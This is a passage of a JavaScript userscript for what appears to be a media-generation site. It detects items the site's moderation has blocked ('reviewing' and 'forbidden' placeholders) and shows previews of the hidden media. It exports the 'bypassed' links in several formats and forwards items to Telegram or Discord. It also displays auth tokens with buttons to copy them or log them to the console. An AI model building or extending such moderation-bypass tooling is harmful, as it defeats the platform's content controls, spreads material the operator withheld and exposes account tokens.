    const sourceItems = selectedItems.size > 0 ? itemsData.filter(it => selectedItems.has(it.id)) : itemsData;
    const list = [];
    for (const item of sourceItems) {
      const url = await getPreviewUrlForItem(item);
      if (!url) continue;
      list.push({
        id: item.id,
        taskId: item.taskId || null,
        mimeType: item.mimeType || '',
        type: item.type || getItemType(item.mimeType),
        url
      });
    }
    if (!list.length) {
      alert('No bypassed URLs available yet.');
      return;
    }

    let payload = '';
    if (format === 'json') {
      payload = JSON.stringify(list, null, 2);
    } else if (format === 'xml') {
      const nodes = list.map(entry => `  <item id="${escapeHtml(entry.id)}" taskId="${escapeHtml(entry.taskId || '')}" type="${escapeHtml(entry.type)}" mimeType="${escapeHtml(entry.mimeType)}"><url>${escapeHtml(entry.url)}</url></item>`).join('\n');
      payload = `<bypassedMedia>\n${nodes}\n</bypassedMedia>`;
    } else if (format === 'html') {
      const cards = list.map(entry => `
        <div style="border:1px solid #d1d5db;border-radius:10px;padding:12px;margin-bottom:10px;background:#fff;">
          <div style="font-weight:700;color:#111827;margin-bottom:6px;">${escapeHtml(entry.type)} • ${escapeHtml(entry.id)}</div>
          <div style="font-size:12px;color:#374151;margin-bottom:6px;">Task: ${escapeHtml(entry.taskId || 'N/A')} • MIME: ${escapeHtml(entry.mimeType || 'N/A')}</div>
          <a href="${escapeHtml(entry.url)}" style="color:#4f46e5;word-break:break-all;font-family:monospace;font-size:12px;">${escapeHtml(entry.url)}</a>
        </div>
      `).join('');
      payload = `<!doctype html><html><head><meta charset="utf-8" /><title>Bypassed Media Links</title></head><body style="font-family:Arial,sans-serif;background:#f3f4f6;padding:16px;"><h1 style="margin:0 0 12px 0;color:#111827;">Bypassed Media Links</h1>${cards}</body></html>`;
    } else {
      payload = list.map(entry => entry.url).join('\n');
    }

    if (navigator.clipboard?.writeText) {
      await navigator.clipboard.writeText(payload);
    } else {
      const ta = document.createElement('textarea');
      ta.value = payload;
      document.body.appendChild(ta);
      ta.select();
      document.execCommand('copy');
      ta.remove();
    }
    alert(`Copied ${list.length} bypassed links as ${format.toUpperCase()}.`);
  }

  window.downloadImage = downloadImage;

  function isBlockedPlaceholderUrl(url) {
    if (!url) return false;
    const u = String(url);
    return /\/system\/(reviewing\.png|forbidden\.jpg)/i.test(u) || /reviewing\.png|forbidden\.jpg/i.test(u);
  }

  function isForbidden(obj) {
    if (!obj) return false;
    const imageId = obj.imageId || obj.id;
    const mimeType = String(obj.mimeType || '');
    const url = obj.url || obj.processImageUrl || '';
    const isMedia = mimeType.startsWith('image/') || mimeType.startsWith('video/') || mimeType.startsWith('audio/');
    return !!imageId && isMedia && (obj.invalid === true || isBlockedPlaceholderUrl(url));
  }

  function getItemType(mimeType) {
    if (mimeType?.startsWith('video/')) return 'Video';
    if (mimeType?.startsWith('image/')) return 'Image';
    return 'Unknown';
  }

  function buildBlockedTooltipContent(item, taskData = null) {
    if (!item) return '';
    const imageId = item.imageId || item.id || 'N/A';
    const taskId = item.taskId || taskData?.taskId || taskData?.routeId || 'N/A';
    const createdTs = normalizeTimestamp(item.createdAt || taskData?.createdAt);
    const expireTs = normalizeTimestamp(item.expiresAt || item.expireAt || taskData?.expireAt);
    const size = item.width && item.height ? `${item.width} × ${item.height}px` : '';
    const type = item.mimeType ? getItemType(item.mimeType) : (item.type || 'Media');

    const rows = [];
    rows.push(`<strong>ID:</strong> ${imageId}`);
    rows.push(`<strong>Type:</strong> ${type}`);
    if (taskId && taskId !== 'N/A') rows.push(`<strong>Task:</strong> ${taskId}`);
    if (createdTs) rows.push(`<strong>Created:</strong> ${new Date(createdTs).toLocaleString()}`);
    if (expireTs) rows.push(`<strong>Expires:</strong> ${new Date(expireTs).toLocaleString()}`);
    if (size) rows.push(`<strong>Size:</strong> ${size}`);
    const flags = renderStatusIcons(imageId);
    if (flags) rows.push(`<strong>Flags:</strong> ${flags}`);
    rows.push('<strong>Status:</strong> Blocked');
    return rows.join('<br />');
  }

  function getTooltipItemData(imageId, fallback = {}) {
    if (!imageId) return null;
    const listItem = itemsData.find(item => item.id === imageId) || {};
    const meta = itemMap.get(imageId) || {};
    const taskId = listItem.taskId || meta.taskId || meta.routeId || fallback.taskId || null;
    const taskData = taskId ? resolveTaskData(taskId) : null;
    return {
      id: imageId,
      imageId,
      mimeType: listItem.mimeType || meta.mimeType || fallback.mimeType || 'image/*',
      type: listItem.type || getItemType(listItem.mimeType || meta.mimeType || fallback.mimeType || ''),
      taskId: taskId || taskData?.taskId || taskData?.routeId || null,
      createdAt: listItem.createdAt || fallback.createdAt || taskData?.createdAt || null,
      expiresAt: listItem.expiresAt || listItem.expireAt || fallback.expiresAt || taskData?.expireAt || taskData?.expiresAt || null,
      width: listItem.width || meta.width || fallback.width || null,
      height: listItem.height || meta.height || fallback.height || null
    };
  }

  function refreshActiveBlockedTooltip(imageId) {
    if (!activeBlockedTooltip || !activeBlockedTooltip.tooltip) return;
    if (activeBlockedTooltip.imageId !== imageId) return;
    const itemData = getTooltipItemData(imageId, activeBlockedTooltip.previewItem || {});
    const taskData = itemData?.taskId ? resolveTaskData(itemData.taskId) : null;
    if (!itemData) return;
    const html = buildBlockedTooltipContent(itemData, taskData);
    activeBlockedTooltip.tooltip.innerHTML = html;
    if (settings.keepBlockedTooltipOpen) {
      const closeBtn = document.createElement('button');
      closeBtn.textContent = '×';
      closeBtn.style.cssText = `
        position: absolute;
        top: 6px;
        right: 6px;
        width: 20px;
        height: 20px;
        border-radius: 50%;
        border: none;
        background: rgba(239, 68, 68, 0.2);
        color: #ef4444;
        cursor: pointer;
        font-size: 14px;
        line-height: 18px;
      `;
      closeBtn.onclick = (e) => {
        e.stopPropagation();
        activeBlockedTooltip.tooltip.style.opacity = '0';
        activeBlockedTooltip = null;
      };
      activeBlockedTooltip.tooltip.appendChild(closeBtn);
    }
    if (activeBlockedTooltip.shouldPreview) {
      const previewWrap = document.createElement('div');
      previewWrap.className = 'bypass-tooltip-preview';
      previewWrap.innerHTML = '<div class="bypass-tooltip-preview-placeholder">Loading preview…</div>';
      activeBlockedTooltip.tooltip.appendChild(previewWrap);
      activeBlockedTooltip.previewEl = previewWrap;
    }
  }

  function hideActiveBlockedTooltip() {
    if (activeBlockedTooltip?.tooltip) {
      activeBlockedTooltip.tooltip.style.opacity = '0';
      activeBlockedTooltip = null;
    }
    document.querySelectorAll('.bypass-blocked-tooltip.bypass-blocked-tooltip-floating').forEach(el => {
      el.remove();
    });
  }

  function hideActiveInjectedTooltip() {
    if (activeInjectedTooltip?.tooltip) {
      activeInjectedTooltip.tooltip.remove();
      activeInjectedTooltip = null;
    }
    document.querySelectorAll('.bypass-injected-tooltip').forEach(el => el.remove());
  }

  function getItemsKey(sourceItems = itemsData) {
    const list = Array.isArray(sourceItems) ? sourceItems : [];
    return `${settings.viewMode}|${homeProfileFilter}|${homeItemsSearchQuery}|${list.map(item => item.id).join('|')}`;
  }

  function createTokenUsageBanner(viewItemCount = null) {
    const colors = getThemeColors();
    const expandedKey = 'freeBypassTokenUsageExpanded';
    const expanded = localStorage.getItem(expandedKey) === 'true';

    const activeTokens = getActiveTokens();
    const summaries = activeTokens.map(getAccountSummaryForToken).filter(Boolean);

    const details = document.createElement('details');
    details.open = expanded;
    details.className = 'bypass-token-usage-banner';
    details.style.cssText = `
      padding: 10px 12px;
      border: 1px solid rgba(148,163,184,0.25);
      border-radius: 12px;
      background: rgba(15,23,42,0.35);
    `;
    details.ontoggle = () => {
      try {
        localStorage.setItem(expandedKey, details.open ? 'true' : 'false');
      } catch {
        // ignore
      }
    };

    const summary = document.createElement('summary');
    summary.style.cssText = `
      cursor: pointer;
      user-select: none;
      display: flex;
      align-items: center;
      justify-content: space-between;
      gap: 10px;
      outline: none;
      list-style: none;
    `;

    const lastPreview = lastAuthTokenUsed ? `<code style="background:rgba(30,41,59,0.9); padding:2px 6px; border-radius:6px;">${escapeHtml(tokenPreview(lastAuthTokenUsed))}</code>` : '<em>none</em>';
    const itemCountText = typeof viewItemCount === 'number' ? `<span>items: <strong>${viewItemCount}</strong></span>` : '';
    summary.innerHTML = `
      <div style="display:flex; align-items:center; gap:8px; font-size: 12px; font-weight: 800; color: ${colors.text};">
        <i class="fas fa-fingerprint" style="color:${colors.primary};"></i>
        <span>Token usage</span>
      </div>
      <div style="display:flex; gap:10px; flex-wrap:wrap; justify-content:flex-end; font-size: 11px; color: ${colors.textSecondary};">
        <span><strong>${summaries.length}</strong> active</span>
        <span>last: ${lastPreview}</span>
        ${itemCountText}
      </div>
    `;
    details.appendChild(summary);

    const wrap = document.createElement('div');
    wrap.style.cssText = `
      margin-top: 10px;
      display: flex;
      gap: 10px;
      align-items: center;
      justify-content: space-between;
      flex-wrap: wrap;
    `;

    const left = document.createElement('div');
    left.style.cssText = 'display:flex; flex-direction:column; gap:4px; min-width: 220px;';

    const activeLine = document.createElement('div');
    activeLine.style.cssText = `font-size: 11px; color: ${colors.textSecondary}; line-height: 1.4; word-break: break-word;`;
    const parts = summaries.map(s => {
      const name = escapeHtml(s.nickname || 'Unknown');
      const tok = escapeHtml(tokenPreview(s.token));
      return `${name}${s.isCurrent ? ' <span style="color:#10b981; font-weight:700;">(current)</span>' : ''} <code style="background:rgba(30,41,59,0.9); padding:2px 6px; border-radius:6px;">${tok}</code>`;
    });
    activeLine.innerHTML = `<strong>Active tokens:</strong> ${summaries.length ? parts.join(' • ') : '<em>none</em>'}`;

    const lastLine = document.createElement('div');
    lastLine.style.cssText = `font-size: 11px; color: ${colors.textSecondary}; line-height: 1.4; word-break: break-word;`;
    if (lastAuthTokenUsed) {
      const agoSec = lastAuthTokenUsedAt ? Math.max(0, Math.round((Date.now() - lastAuthTokenUsedAt) / 1000)) : null;
      lastLine.innerHTML = `<strong>Last API token used:</strong> <code style="background:rgba(30,41,59,0.9); padding:2px 6px; border-radius:6px;">${escapeHtml(tokenPreview(lastAuthTokenUsed))}</code>${lastAuthTokenUsedContext ? ` • ${escapeHtml(lastAuthTokenUsedContext)}` : ''}${typeof agoSec === 'number' ? ` • ${agoSec}s ago` : ''}`;
    } else {
      lastLine.innerHTML = `<strong>Last API token used:</strong> <em>none yet</em>`;
    }

    left.appendChild(activeLine);
    left.appendChild(lastLine);

    const actions = document.createElement('div');
    actions.style.cssText = 'display:flex; gap:8px; align-items:center; flex-wrap: wrap;';

    const mkBtn = (text, onClick, disabled = false) => {
      const b = document.createElement('button');
      b.className = 'bypass-btn bypass-btn-secondary';
      b.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
      b.textContent = text;
      b.disabled = disabled;
      b.onclick = onClick;
      return b;
    };

    actions.appendChild(mkBtn('Copy active tokens', async () => {
      const payload = activeTokens.join('\n');
      if (navigator.clipboard?.writeText) {
        await navigator.clipboard.writeText(payload);
      } else {
        const ta = document.createElement('textarea');
        ta.value = payload;
        document.body.appendChild(ta);
        ta.select();
        document.execCommand('copy');
        ta.remove();
      }
      showToast(`Copied ${activeTokens.length} token(s)`, 'success');
    }, activeTokens.length === 0));

    actions.appendChild(mkBtn('Copy last used token', async () => {
      const payload = String(lastAuthTokenUsed || '');
      if (!payload) return;
      if (navigator.clipboard?.writeText) {
        await navigator.clipboard.writeText(payload);
      } else {
        const ta = document.createElement('textarea');
        ta.value = payload;
        document.body.appendChild(ta);
        ta.select();
        document.execCommand('copy');
        ta.remove();
      }
      showToast('Copied last used token', 'success');
    }, !lastAuthTokenUsed));

    actions.appendChild(mkBtn('Log tokens to console', () => {
      logActiveTokenUsage('Items tab');
      if (lastAuthTokenUsed) {
        console.log('[TokenUsage] lastAuthTokenUsed', tokenPreview(lastAuthTokenUsed), { at: lastAuthTokenUsedAt, ctx: lastAuthTokenUsedContext });
      }
      showToast('Logged token usage to console', 'success');
    }));

    wrap.appendChild(left);
    wrap.appendChild(actions);
    details.appendChild(wrap);
    return details;
  }

  function refreshSelectionUI() {
    const info = document.querySelector('[data-bypass-selection-info]');
    if (info) {
      const shown = Number(info.getAttribute('data-bypass-shown-count') || itemsData.length);
      const total = Number(info.getAttribute('data-bypass-total-count') || itemsData.length);
      info.textContent = `Selected: ${selectedItems.size} / ${shown} shown (${total} total)`;
    }
    document.querySelectorAll('[data-bypass-item-id]')?.forEach(el => {
      const id = el.getAttribute('data-bypass-item-id');
      if (!id) return;
      if (selectedItems.has(id)) {
        el.classList.add('selected');
      } else {
        el.classList.remove('selected');
      }
    });
    document.querySelectorAll('[data-bypass-bulk-action]')?.forEach(btn => {
      btn.disabled = selectedItems.size === 0;
    });
  }

  function updateHomeProgressUI() {
    if (currentTab !== 'home') return;
    const wrap = document.querySelector('[data-bypass-home-progress]');
    if (!wrap) return;
    const stats = getTaskActionStats();
    const activeCount = stats.queued + stats.inProgress;
    const textEl = wrap.querySelector('[data-bypass-home-progress-text]');
    const barEl = wrap.querySelector('[data-bypass-home-progress-bar]');
    const previewHost = wrap.querySelector('[data-bypass-home-progress-preview]');
    if (!activeCount) {
      wrap.style.display = 'none';
      if (textEl) textEl.textContent = 'Idle';
      if (barEl) barEl.style.width = '0%';
      if (previewHost) previewHost.style.display = 'none';
      return;
    }
    wrap.style.display = 'block';
    const completed = stats.done + stats.failed;
    if (textEl) {
      if (stats.current) {
        textEl.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
      } else {
        textEl.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
      }
    }
    if (barEl) barEl.style.width = `${stats.total ? Math.round((completed / stats.total) * 100) : 0}%`;

    if (previewHost) {
      if (!settings.showDownloadPreview || !stats.current || !['download', 'telegram', 'discord'].includes(stats.current.action)) {
        previewHost.style.display = 'none';
        return;
      }
      previewHost.style.display = 'block';
      previewHost.innerHTML = '';

      const previewRow = document.createElement('div');
      previewRow.className = 'bypass-download-preview';

      const mediaWrap = document.createElement('div');
      mediaWrap.className = 'bypass-download-preview-media';
      mediaWrap.textContent = 'Loading...';

      const info = document.createElement('div');
      info.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:11px; color:#94a3b8;';
      const actionLabel = stats.current.action === 'telegram'
        ? 'Sending to Telegram'
        : stats.current.action === 'discord'
          ? 'Sending to Discord'
          : 'Downloading';
      info.innerHTML = `<div><strong style="color:#cbd5e1;">${actionLabel}</strong></div><div>ID: ${stats.current.imageId}</div>`;

      previewRow.appendChild(mediaWrap);
      previewRow.appendChild(info);
      previewHost.appendChild(previewRow);

      const currentId = stats.current.imageId;
      if (downloadPreviewCache.imageId === currentId && downloadPreviewCache.url) {
        mediaWrap.innerHTML = '';
        if (stats.current.mimeType?.startsWith('video/')) {
          const vid = document.createElement('video');
          vid.src = downloadPreviewCache.url;
          vid.muted = true;
          vid.autoplay = true;
          vid.loop = true;
          vid.playsInline = true;
          mediaWrap.appendChild(vid);
        } else {
          const img = document.createElement('img');
          img.src = downloadPreviewCache.url;
          mediaWrap.appendChild(img);
        }
      } else {
        downloadPreviewCache = { imageId: currentId, url: null, mimeType: stats.current.mimeType || '' };
        ensureDownloadUrl(currentId, stats.current.mimeType || '').then(url => {
          if (downloadPreviewCache.imageId !== currentId) return;
          downloadPreviewCache.url = url;
          mediaWrap.innerHTML = '';
          if (!url) {
            mediaWrap.textContent = 'Preview unavailable';
            return;
          }
          if (stats.current.mimeType?.startsWith('video/')) {
            const vid = document.createElement('video');
            vid.src = url;
            vid.muted = true;
            vid.autoplay = true;
            vid.loop = true;
            vid.playsInline = true;
            mediaWrap.appendChild(vid);
          } else {
            const img = document.createElement('img');
            img.src = url;
            mediaWrap.appendChild(img);
          }
        });
      }
    }
  }

  function updateTasksTabUI() {
    if (currentTab !== 'tasks') return;
    const tasksContent = document.querySelector('.bypass-content[data-bypass-tab="tasks"]');
    if (!tasksContent) return;
    const stats = getTaskActionStats();
    const textEl = tasksContent.querySelector('[data-bypass-tasks-progress-text]');
    const barEl = tasksContent.querySelector('[data-bypass-tasks-progress-bar]');
    const previewHost = tasksContent.querySelector('[data-bypass-tasks-progress-preview]');
    if (textEl) {
      const completed = stats.done + stats.failed;
      if (stats.current) {
        textEl.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
      } else {
        textEl.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
      }
    }
    if (barEl) {
      const completed = stats.done + stats.failed;
      barEl.style.width = `${stats.total ? Math.round((completed / stats.total) * 100) : 0}%`;
    }

    const cache = loadTaskActions();
    let needsRebuild = false;
    cache.items.forEach(entry => {
      const key = `${entry.action}:${entry.imageId}`;
      const row = tasksContent.querySelector(`[data-bypass-task-row="${key}"]`);
      if (!row) {
        needsRebuild = true;
        return;
      }
      const statusEl = row.querySelector('[data-bypass-task-status]');
      if (statusEl) statusEl.textContent = entry.status;
      const errorEl = row.querySelector('[data-bypass-task-error]');
      if (entry.status === 'failed' && entry.error) {
        if (errorEl) {
          errorEl.textContent = `Error: ${entry.error}`;
          errorEl.style.display = 'block';
        }
      } else if (errorEl) {
        errorEl.style.display = 'none';
      }
    });

    if (previewHost) {
      if (!settings.showDownloadPreview || !stats.current || !['download', 'telegram', 'discord'].includes(stats.current.action)) {
        previewHost.style.display = 'none';
      } else {
        previewHost.style.display = 'block';
      }
    }

    if (needsRebuild) {
      updateUI();
    }
  }

  function attachBlockedTooltip(target, html, options = {}) {
    if (!settings.showBlockedTooltip || !target || !html) return;
    if (target.closest('.bypass-container')) return;
    if (target.dataset.bypassTooltip === 'true') return;
    target.dataset.bypassTooltip = 'true';

    const { previewItem = null } = options;
    const shouldPreview = settings.showBlockedTooltipPreview && previewItem?.imageId;
    let tooltip = null;
    let previewEl = null;

    const positionTooltip = () => {
      if (!tooltip) return;
      const rect = target.getBoundingClientRect();
      const top = Math.max(8, rect.top - tooltip.offsetHeight - 12);
      const left = Math.max(8, Math.min(window.innerWidth - tooltip.offsetWidth - 8, rect.left + rect.width / 2 - tooltip.offsetWidth / 2));
      tooltip.style.top = `${top}px`;
      tooltip.style.left = `${left}px`;
    };

    const loadPreview = async () => {
      if (!previewEl || previewEl.dataset.loaded === 'true') return;
      previewEl.dataset.loaded = 'true';
      try {
        const url = await ensureDownloadUrl(previewItem.imageId, previewItem.mimeType || '');
        if (!url) throw new Error('No preview URL');
        const isVideo = previewItem.mimeType?.startsWith('video/');
        previewEl.innerHTML = '';
        if (isVideo) {
          const vid = document.createElement('video');
          vid.autoplay = true;
          vid.loop = true;
          vid.muted = true;
          vid.playsInline = true;
          vid.preload = 'metadata';
          vid.src = url;
          vid.className = 'bypass-tooltip-preview-media';
          previewEl.appendChild(vid);
        } else {
          const img = document.createElement('img');
          img.src = url;
          img.className = 'bypass-tooltip-preview-media';
          previewEl.appendChild(img);
        }
      } catch (err) {
        previewEl.innerHTML = '<div class="bypass-tooltip-preview-placeholder">Preview unavailable</div>';
      }
    };

    const show = () => {
      if (tooltip && !tooltip.isConnected) {
        tooltip = null;
        previewEl = null;
      }
      if (settings.keepBlockedTooltipOpen && activeBlockedTooltip && activeBlockedTooltip.tooltip && activeBlockedTooltip.tooltip !== tooltip) {
        activeBlockedTooltip.tooltip.style.opacity = '0';
      }
      const itemData = previewItem?.imageId ? getTooltipItemData(previewItem.imageId, previewItem) : null;
      const taskData = itemData?.taskId ? resolveTaskData(itemData.taskId) : null;
      const dynamicHtml = itemData ? buildBlockedTooltipContent(itemData, taskData) : html;
      if (!tooltip) {
        tooltip = document.createElement('div');
        tooltip.className = 'bypass-blocked-tooltip bypass-blocked-tooltip-floating';
        tooltip.innerHTML = dynamicHtml;
        if (settings.keepBlockedTooltipOpen) {
          const closeBtn = document.createElement('button');
          closeBtn.textContent = '×';
          closeBtn.style.cssText = `
            position: absolute;
            top: 6px;
            right: 6px;
            width: 20px;
            height: 20px;
            border-radius: 50%;
            border: none;
            background: rgba(239, 68, 68, 0.2);
            color: #ef4444;
            cursor: pointer;
            font-size: 14px;
            line-height: 18px;
          `;
          closeBtn.onclick = (e) => {
            e.stopPropagation();
            tooltip.style.opacity = '0';
            activeBlockedTooltip = null;
          };
          tooltip.appendChild(closeBtn);
        }
        if (shouldPreview) {
          const previewWrap = document.createElement('div');
          previewWrap.className = 'bypass-tooltip-preview';
          previewWrap.innerHTML = '<div class="bypass-tooltip-preview-placeholder">Loading preview…</div>';
          tooltip.appendChild(previewWrap);
          previewEl = previewWrap;
        }
        tooltip.addEventListener('click', async (e) => {
          if (!settings.keepBlockedTooltipOpen) return;
          if (e.target && e.target.tagName === 'BUTTON') return;
          e.stopPropagation();
          const imageId = previewItem?.imageId || previewItem?.id;
          if (!imageId) return;
          const data = getTooltipItemData(imageId, previewItem || {});
          const mimeType = data?.mimeType || previewItem?.mimeType || '';
          const url = await ensureDownloadUrl(imageId, mimeType);
          if (!url) return;
          openImageModal(url, data?.taskId || previewItem?.taskId, data?.createdAt || previewItem?.createdAt, data?.expiresAt || previewItem?.expiresAt, [], imageId, data?.mimeType || previewItem?.mimeType || '');
        });
        tooltip.addEventListener('contextmenu', (e) => {
          e.preventDefault();
          tooltip.style.opacity = '0';
          activeBlockedTooltip = null;
        });
        document.body.appendChild(tooltip);
      } else {
        tooltip.innerHTML = dynamicHtml;
        if (shouldPreview) {
          const previewWrap = document.createElement('div');
          previewWrap.className = 'bypass-tooltip-preview';
          previewWrap.innerHTML = '<div class="bypass-tooltip-preview-placeholder">Loading preview…</div>';
          tooltip.appendChild(previewWrap);
          previewEl = previewWrap;
        }
      }
      tooltip.style.opacity = '0';
      tooltip.style.visibility = 'hidden';
      tooltip.style.pointerEvents = settings.keepBlockedTooltipOpen ? 'auto' : 'none';
      requestAnimationFrame(() => {
        positionTooltip();
        tooltip.style.visibility = 'visible';
        tooltip.style.opacity = '1';
      });
      if (shouldPreview) loadPreview();
      if (settings.keepBlockedTooltipOpen) {
        const imageId = previewItem?.imageId || previewItem?.id || null;
        activeBlockedTooltip = { tooltip, target, imageId, previewItem, shouldPreview, previewEl };
      }
    };

    const hide = () => {
      if (!tooltip) return;
      if (settings.keepBlockedTooltipOpen) return;
      tooltip.style.opacity = '0';
    };

    target.addEventListener('mouseenter', show);
    target.addEventListener('mouseleave', hide);
    window.addEventListener('scroll', () => {
      if (settings.keepBlockedTooltipOpen) {
        if (tooltip) tooltip.style.opacity = '0';
        if (activeBlockedTooltip && activeBlockedTooltip.tooltip === tooltip) {
          activeBlockedTooltip = null;
        }
        return;
      }
      if (tooltip && tooltip.style.opacity === '1') positionTooltip();
    }, { passive: true });
    window.addEventListener('resize', positionTooltip, { passive: true });
  }

  function attachInfoTooltip(infoIcon, text) {
    if (!infoIcon || !text) return;
    const showDialog = () => {
      const overlay = document.createElement('div');
      overlay.style.cssText = `
        position: fixed; top: 0; left: 0; right: 0; bottom: 0;
        background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(6px);
        display: flex; align-items: center; justify-content: center;
        z-index: 100000;
      `;

      const dialog = document.createElement('div');
      dialog.style.cssText = `
        background: ${settings.theme === 'dark' ? '#1e1e2e' : '#ffffff'};
        color: ${settings.theme === 'dark' ? '#e0e0e0' : '#1f2937'};
        border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#e5e7eb'};
        border-radius: 12px;
        padding: 20px 22px;
        max-width: 420px;
        width: 90%;
        box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
      `;
      dialog.innerHTML = `
        <div style="display:flex; align-items:center; gap:10px; margin-bottom:10px;">
          <i class="fas fa-info-circle" style="color:#6366f1;"></i>
          <strong style="font-size:14px;">Setting Info</strong>
        </div>
        <div style="font-size:13px; line-height:1.6;">${text}</div>
        <div style="display:flex; justify-content:flex-end; margin-top:16px;">
          <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 14px;">Close</button>
        </div>
      `;
      dialog.querySelector('button').onclick = () => overlay.remove();
      overlay.onclick = (e) => { if (e.target === overlay) overlay.remove(); };
      overlay.appendChild(dialog);
      document.body.appendChild(overlay);
    };

    let tooltip = null;
    infoIcon.onmouseenter = () => {
      if (!tooltip) {
        tooltip = document.createElement('div');
        tooltip.className = 'bypass-hover-tooltip';
        tooltip.textContent = text;
        tooltip.style.opacity = '0';
        infoIcon.appendChild(tooltip);
      }
      requestAnimationFrame(() => {
        tooltip.style.opacity = '1';
      });
    };
    infoIcon.onmouseleave = () => {
      if (tooltip) tooltip.style.opacity = '0';
    };
    infoIcon.onclick = (e) => {
      e.stopPropagation();
      showDialog();
    };
  }

  function attachInjectedHelpTooltip(target, text) {
    if (!target || !text) return;
    if (!settings.showInjectedHelpTooltips) return;
    if (!settings.injectOnDom && !settings.safeViewMode) return;
    if (target.dataset.bypassInjectedTooltip === 'true') return;
    target.dataset.bypassInjectedTooltip = 'true';

    let tooltip = null;

    const position = () => {
      if (!tooltip) return;
      const rect = target.getBoundingClientRect();
      const top = Math.max(8, rect.top - tooltip.offsetHeight - 10);
      const left = Math.max(8, Math.min(window.innerWidth - tooltip.offsetWidth - 8, rect.left + rect.width / 2 - tooltip.offsetWidth / 2));
      tooltip.style.top = `${top}px`;
      tooltip.style.left = `${left}px`;
    };

    const show = () => {
      if (activeInjectedTooltip && activeInjectedTooltip.tooltip && activeInjectedTooltip.tooltip !== tooltip) {
        activeInjectedTooltip.tooltip.style.opacity = '0';
      }
      if (!tooltip) {
        tooltip = document.createElement('div');
        tooltip.className = 'bypass-injected-tooltip';
        tooltip.textContent = text;
        document.body.appendChild(tooltip);
      }
      tooltip.style.opacity = '0';
      requestAnimationFrame(() => {
        position();
        tooltip.style.opacity = '1';
      });
      activeInjectedTooltip = { tooltip, target };
    };

    const hide = () => {
      if (!tooltip) return;
      tooltip.style.opacity = '0';
    };

    target.addEventListener('mouseenter', show);
    target.addEventListener('mouseleave', hide);
    window.addEventListener('scroll', hide, { passive: true });
    window.addEventListener('resize', position, { passive: true });
  }

  function setItemSelected(imageId, selected) {
    if (!imageId) return;
    if (selected) {
      selectedItems.add(imageId);
    } else {
      selectedItems.delete(imageId);
    }
  }

  function toggleItemSelected(imageId) {
    if (!imageId) return;
    if (selectedItems.has(imageId)) {
      selectedItems.delete(imageId);
    } else {
      selectedItems.add(imageId);
    }
  }

  function clearContextMenu() {
    if (activeContextMenu && activeContextMenu.parentElement) {
      activeContextMenu.remove();
    }
    activeContextMenu = null;
  }

  function isFloatingWindowInteractiveTarget(target) {
    if (!(target instanceof Element)) return false;
    return Boolean(target.closest([
      'button',
      'input',
      'textarea',
      'select',
      'option',
      'a',
      'label',
      '.bypass-btn',
      '.bypass-btn-icon',
      '.bypass-tab',
      '.bypass-item-card',
      '[data-bypass-item-id]',
      '[data-bypass-task-actions]',
      '[data-bypass-task-download]',
      '[data-bypass-task-telegram]',
      '[data-bypass-task-safeview]',
      '[data-bypass-task-profile]',
      '.bypass-account-context-menu',
      '.bypass-context-menu',
      '.bypass-hover-tooltip',
      '.bypass-modal-overlay',
      '.n-button',
      '.vi-button'
    ].join(',')));
  }

  function centerFloatingWindow() {
    settings.position = {
      ...settings.position,
      top: '50%',
      left: '50%',
      right: 'auto'
    };
    saveSettings();

    const panel = document.querySelector('.bypass-container');
    if (panel) {
      panel.style.top = '50%';
      panel.style.left = '50%';
      panel.style.right = 'auto';
      panel.style.transform = 'translate(-50%, -50%)';
    }
  }

  function resetFloatingWindowSizeAndCenter() {
    settings.fullscreen = false;
    settings.positionBeforeFullscreen = null;
    settings.position = {
      ...settings.position,
      top: '50%',
      left: '50%',
      right: 'auto',
      width: defaultSettings.position.width,
      height: defaultSettings.position.height
    };
    saveSettings();

    const panel = document.querySelector('.bypass-container');
    if (panel) {
      panel.classList.remove('bypass-fullscreen');
      panel.style.top = '50%';
      panel.style.left = '50%';
      panel.style.right = 'auto';
      panel.style.width = defaultSettings.position.width;
      panel.style.height = defaultSettings.position.height;
      panel.style.transform = 'translate(-50%, -50%)';
    }
  }

  function armFloatingWindowMove(panel) {
    if (!panel) return;
    panel.dataset.bypassMoveArmed = 'true';
    panel.classList.add('bypass-move-armed');
    floatingMenuSuppressUntil = Date.now() + 250;
    showToast('Move mode armed — click and drag the floating window.', 'info');
  }

  function showFloatingWindowContextMenu(x, y, panel) {
    if (!panel) return;
    clearContextMenu();
    const colors = getThemeColors();

    const menu = document.createElement('div');
    menu.className = 'bypass-context-menu';
    menu.style.cssText = `
      position: fixed;
      top: ${Math.max(8, y)}px;
      left: ${Math.max(8, x)}px;
      background: ${colors.bgSecondary};
      color: ${colors.text};
      border: 1px solid ${colors.border};
      border-radius: 14px;
      padding: 6px;
      min-width: 150px;
      z-index: 100000;
      box-shadow: 0 18px 44px rgba(0,0,0,0.35);
      backdrop-filter: blur(20px);
    `;

    const addItem = (labelHtml, onClick, accent = null) => {
      const btn = document.createElement('div');
      btn.innerHTML = labelHtml;
      btn.style.cssText = `
        padding: 9px 10px;
        font-size: 12px;
        border-radius: 8px;
        cursor: pointer;
        color: ${accent || 'inherit'};
        display: flex;
        align-items: center;
        gap: 8px;
        font-weight: 600;
      `;
      btn.onmouseenter = () => { btn.style.background = colors.bgTertiary; };
      btn.onmouseleave = () => { btn.style.background = 'transparent'; };
      btn.onclick = () => {
        onClick();
        clearContextMenu();
      };
      menu.appendChild(btn);
    };

    addItem('<i class="fas fa-arrows-up-down-left-right"></i> Move', () => {
      armFloatingWindowMove(panel);
    });

    addItem('<i class="fas fa-compress-arrows-alt"></i> Center', () => {
      centerFloatingWindow();
    });

    addItem('<i class="fas fa-rotate-left"></i> Reset size + center', () => {
      resetFloatingWindowSizeAndCenter();
    });

    addItem('<i class="fas fa-eye-slash"></i> Hide', () => {
      isExpanded = false;
      updateUI();
    }, '#f59e0b');

    menu.addEventListener('contextmenu', (e) => {
      e.preventDefault();
      e.stopPropagation();
      clearContextMenu();
